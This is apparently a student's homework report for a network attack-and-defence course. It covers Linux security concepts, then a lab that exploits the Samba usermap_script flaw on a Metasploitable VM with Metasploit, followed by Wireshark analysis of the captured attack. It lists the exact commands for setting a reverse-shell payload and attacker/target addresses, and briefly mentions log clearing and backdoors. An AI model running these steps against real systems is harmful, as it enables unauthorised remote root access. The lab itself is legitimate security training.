20212911陈金翔-2022-3 网络攻防实践 第七次(第九周)作业
1.实践内容
Linux操作系统基本框架概述
-
如下图所示,Linux系统一般有4个主要部分:内核、shell、文件系统和应用程序。内核、shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序、管理文件并使用系统。
-
内核:内核是操作系统的核心,具有很多最基本功能,如虚拟内存、多任务、共享库、需求加载、可执行程序和TCP/IP网络功能。Linux内核的模块分为以下几个部分:存储管理、CPU进程管理、文件系统、设备管理、网络通信、系统调用等。
-
内存管理:Linux采用了称为虚拟内存的内存管理方式。允许多个进程安全地共享物理内存区域,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到
3GB
以上的空间,用户态代码申请的虚拟内存空间为0-3GB
区间。 -
进程管理:进程实际是某特定应用程序的一个运行实体。Linux采用抢占式多用户进程模式,,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构。
-
文件系统:Linux将独立的文件系统组合成了一个层次化的树形结构,并且由一个单独的实体代表这一文件系统。虚拟文件系统(VFS)是Linux内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象(一切皆文件的特性)。
-
设备驱动程序:设备驱动程序提供一组操作系统可理解的抽象接口完成和操作系统之间的交互,而与硬件相关的具体操作细节由设备驱动程序完成。
-
网络接口:网络接口可分为网络协议和网络驱动程序。网络接口提供了对各种网络标准的存取和各种网络硬件的支持。网络协议部分负责实现每一种可能的网络传输协议。Linux内核的网络部分由BSD套接字、网络协议层和网络设备驱动程序组成。网络设备驱动程序负责与硬件设备通讯,每一种可能的硬件设备都有相应的设备驱动程序。
-
系统调用:Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
Linux操作系统安全机制
(1). 身份认证
-
用户:root用户、普通用户、系统用户。用户信息保存在
/etc/password
文件中,加密口令存放在/etc/shadow/
中,只对root可读。 -
用户组:具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的
/etc/group/
文件中,加密口令保存在/etc/gshadow/
中。 -
统一身份认证中间件—PAM:一种验证用户身份的灵活与标准的方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式,同时也便于向系统中添加新的认证手段。
(2). 授权与访问控制
每个文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的uid以及文件所有者所在组的gid来指明。
- 每个用户的专属初始目录权限为
rwx------
,即只有所有者拥有浏览、删除、修改和进入的权限。r=4,w=2,x=1
,所以通常的的777
就是rwxrwxrwx
。 - SUID和SGID被称为特权。
SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源。
SGID在程序执行时以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源。
(3). Linux安全审计机制
主要通过以下三个日志子系统来实现。
- 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
- 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录。
- 错误日志记录:由通用日志记录服务执行。
Linux远程安全攻防技术
远程网络侵入Linux系统的主要有四种方法:
- 口令字猜测攻击,假冒该用户的身份进入系统(原始而实用,彩虹表的提出是一个重大的突破)。
- 寻找Linux系统某个监听网络服务的安全漏洞并进行利用攻击(注入攻击负载模块代码)。
- 通过网页木马、发送诈欺邮件、提供特洛伊木马程序等技术和社会工程学手段,获取用户口令。
- 在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击。
(1). 远程口令字猜测攻击
- 攻击原理:一开始主要采用暴力攻击,后面还有字典攻击,字典攻击是非常有效的爆破方式,后面可能还面临量子计算的攻击。
- 攻击工具:Brutus(不再更新)、THC Hydra(支持多种协议)、Caun and Abel(针对Windows和Linux)。
- 防御方法:使用强口令字、使用一些口令猜测的防攻击软件、不要在多个地方用同一个密码(这点很重要,因为用户可以捕获某些比较弱的网站从而得到密码)、现在已经有很多新技术可以有效防止被爆破(彩虹表、盐、胡椒等)。
(2). 网络服务远程渗透攻击
- 针对Linux内核中的网络协议栈的代码漏洞攻击,网络协议栈是每个网络服务所依赖的基础平台。
- LAMP Web网站构建解决方案中的网络服务存在的漏洞攻击。LAMP是目前最流行的web网站构建解决方案,代表的含义为:Linux网站服务器运行平台,Apache提供HTTP/HTTPS的网页服务,MySQL数据库管理,PHP语言来开发与实现web应用程序。其组合服务扩展模块成为Linux系统主要的远程攻击渗透目标。
- FTP Samba等文件共享服务(FTP文件交换和共享传输、Samba是用来让LinuxWindows系统SMB/CIFS网络协议相连接的网络服务),这些服务在web网站服务器、企业内部文件服务器等存储有企业组织核心数据资产的关键Linux系统中往往比较常见,因此也成为黑客们破解这些关键系统必须尝试的攻击通道。
- 电子邮件收发服务(如sendmail服务),也是Linux系统上最容易遭受攻击的方面。
- 还有很多其他的网络服务容易遭受攻击,如
openssh tcp22
、openssl tcp443
、nfs tcp/udp2049
等。 - 防范措施:
- 禁用所有不需要的网络服务。
- 尽量选择更加安全的网络协议与服务软件。
- 及时更新网络服务版本。
- 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制。
- 建立入侵检测机制与应急响应计划流程。
(3). 攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序:Linux客户端程序中最容易遭受攻击的就是web浏览器(如常用的FireFox就被爆出漏洞)和电子邮件客户端(ThunderBird)。
- 攻击Linux用户:利用社会工程学的知识和相关的Google Hacking对Linux用户进行了解,引导Linux用户安装相关的应用以及进行不安全的饿操作。
- 防范措施:
- Linux用户应尽量保证常用网络客户端软件的及时更新(开启自动更新机制)。
- 了解各种社会工程学技术,提高自身的抗欺骗能力。
(4). 攻击Linux路由器和监听器
- Linux最容易让人忽略的就是作为路由器和监听网络设备时,在进行路由转发和数据包嗅探所遭受的特殊数据包攻击。
- 攻击Linux路由器与防火墙:主要是攻击netfilter模块的漏洞。
- 攻击监听器及入侵检测器:tcpdump中存在在大量的拒绝服务、缓冲区溢出、本地特权提升等漏洞。
- 防范措施:
- 网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。
- 网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段。
Linux本地安全攻防技术
- 本地特权提升:
- 破解出Root用户的口令,并执行
sudo su
命令进行提升(这一部分和远程口令字猜测类似,主要通过算力来进行破解)。 - 发掘并利用su或sudo程序中的安全漏洞。
- 用户态带有SUID特殊权限位的软件是本地特权提升攻击的最主要目标对象之一(设置了SUID位之后,再执行这个程序,运行进程的有效UID就变成了该程序的所有者用户ID)。包括针对SUID程序的本地缓冲区溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击(由于一些程序软件并没有遵循操作的原则特性而存在,在进程操作某个信号量时,可能由于其他进程同时对其操作而造成不可预期的后果)、针对SUID程序的共享函数库攻击(类似于Windows系统动态链接库DLL的一种函数库动态加载机制,允许可执行文件在执行阶段从某个公共的函数库中调用一些功能代码片段)。
- 破解出Root用户的口令,并执行
- 本地特权提升攻击的防范技术与措施:
- 查看系统的SUID特权程序。
- 提升对抗入侵的防护水平。
- 定期进行软件的更新。
- 使用强口令字。
- 使用SELinux( Linux 内核模块,也是 Linux 的一个安全子系统),参考selinux到底是什么,讲的很好了,不具体说了。
- 消踪灭迹:主要审计日志集中
的/var/log
目录下,主要有系统核心进程、syslogd与各个网络服务提供事件审计功能。注意攻击者还需要清理的是自己在shell
程序中所输入的命令历史记录。 - 远程控制后门程序:植入远程控制后门程序的类型主要有特洛伊木马化系统程序、命令行后门工具、图形化后门工具。
2.实践过程
实践一:使用Metasploit进行Linux远程渗透攻击
任务:使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。
- 使用
exploit:exploit/multi/samba/usermap_script
渗透攻击模块 - 选择攻击
PAYLOAD
为远程shell
- 设置攻击参数
- 执行攻击
- 查看是否得到正确的远程
shell
-
实验环境:攻击机:Kali(
192.168.2.8
)、靶机:Metasploitable(192.168.2.1
) - 首先通过指令
msfconsole
打开metasploit命令行,出现如下图所示则表示正确。
-
输入指令
search usermap
来搜索渗透模块,结果如下图
-
输入
use exploit/multi/samba/usermap_script
使用渗透模块,输入指令show payloads
来获取攻击负载模块列表,并选择攻击负载模块,reverse tcp
是指反向TCP连接,反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体,通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据
-
输入指令
set PAYLOAD cmd/unix/reverse
来设置有效的攻击载荷
-
输入指令
set lhost 192.168.2.8
设置攻击机地址,set rhost 192.168.2.1
设置靶机地址
-
输入指令
show options
看信息设置是否正确
-
输入exploit执行攻击,攻击成功后使用指令whoami发现执行权限是root,使用指令ifconfig来查看靶机网络状态
实践二:攻防对抗实践
任务:攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方使用wireshark捕获攻击流并进行分析,同时打上补丁
- 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
- 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。
- 实验环境:攻击机:Kali(
192.168.11.139
)、靶机:Metasploitable(192.168.11.141
) -
实践二与实践一步骤相似,也是先进入Metasploit、选择攻击负载模块、设置攻击机/靶机地址、查看payload状态,看信息设置是否正确
- 成功获取到shall
- 接下来我们分析防守方抓取到的包
-
可以看到首先攻击机向靶机发送一个SMB的
Negotiate Protocol Request
(协商协议请求)数据报,服务器响应一个SMB的Negotiate Protocol Response
(协商协议响应)数据报
-
然后攻击机向靶机发起一个
Session setup X request
(会话设置请求)数据报,靶机确认身份后发送一个Session Setup X Response
(会话设置响应)数据报同意本次连接
-
接下来是查看攻击发起时间,时间是2021年4月25日晚上7点18分02秒
-
源地址:源端口、目的地址:目的端口,它们分别是192.168.11.139:44269、192.168.11.141:139。
-
139端口是一种TCP端口,该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用copy。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作百站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘度若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息
-
追踪TCP流可以看见之前攻击方输入的命令
2.学习中遇到的问题及解决
问题:靶机更改桥接模式后没有发生变化
解决方案:原因是在之前的实验中将其设置为了静态ip,通过修改/etc/rc.local文件得以解决
3.学习感悟
通过这次实现熟悉了Linux下的漏洞利用攻击,并作为防守方对攻击包进行了分析,漏洞的威胁不分系统,不管是Linux还是Windows,及时下载补丁填补漏洞都是重中之重。